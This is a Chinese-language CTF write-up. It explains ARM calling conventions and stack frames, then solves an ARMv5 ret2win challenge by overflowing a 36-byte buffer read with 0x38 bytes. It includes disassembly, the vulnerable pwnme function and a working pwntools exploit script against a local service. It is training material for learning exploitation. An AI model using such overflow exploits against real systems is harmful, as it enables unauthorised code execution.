以函数pwnme为例: 函数初始化的时候会保存寄存器到栈上,可以看到ARM是支持将寄存器批量保存到栈上的。这个地方说明一点,PUSH和POP操作的寄存器列表中,无论寄存器是以什么顺序给定,都会先进行升序排序。PUSH序号大的寄存器,对应POP序号小的寄存器。 R11是通用寄存器,目前不知道有什么特殊性;LR(R14)是连接寄存器,用于保存函数返回地址。随后也是类似于X86/64,通过减SP的方式开辟函数栈帧。
1 2 3 .text:00010570 PUSH {R11,LR} .text:00010574 ADD R11, SP, #4 .text:00010578 SUB SP, SP, #0x20
函数调用: 调用子函数通过寄存器R0~R3进行传参,那么如果是有多余的参数呢,目前没有深究,估计剩下的参数就用栈来传参吧。
1 2 3 4 .text:00010580 MOV R2, #0x20 ; ' ' ; n .text:00010584 MOV R1, #0 ; c .text:00010588 MOV R0, R3 ; s .text:0001058C BL memset
函数结束: 在函数初始化的时候,我们可以看到将原本SP+4的值赋给R11(fp)。在函数结束的时候,直接从R11-4就恢复了SP,就类似于使用了R11作为中间寄存器保存原本栈SP的值。 最后会POP R11的值,以及将初始化时的连接寄存器LR值赋值给PC,从而达到函数执行完毕返回的过程。
1 2 .text:000105D0 SUB SP, R11, #4 .text:000105D4 POP {R11,PC}
利用 缓冲区s起始地址为fp-24h,返回地址是保存在fp,那么输入0x24个字节就可以开始覆盖缓冲区大小。
1 2 3 4 5 6 7 8 9 10 11 12 int pwnme () { char s[36 ]; memset (s, 0 , 0x20 u); puts ("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!" ); puts ("What could possibly go wrong?" ); puts ("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n" ); printf ("> " ); read(0 , s, 0x38 u); return puts ("Thank you!" ); }
那么直接覆盖到返回地址
1 2 rop = b"A" * 0x24 rop += p32(0x000105EC )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *BINARY = "./ret2win_armv5" ELF = ELF(BINARY) context.os = "linux" context.arch = "arm" context.binary = BINARY p = remote("127.0.0.1" , 8888 ) rop = b"A" * 0x24 rop += p32(ELF.symbols["ret2win" ]) p.recvuntil(b"> " ) p.sendline(rop) print (p.recvline_contains(b"ROPE" ))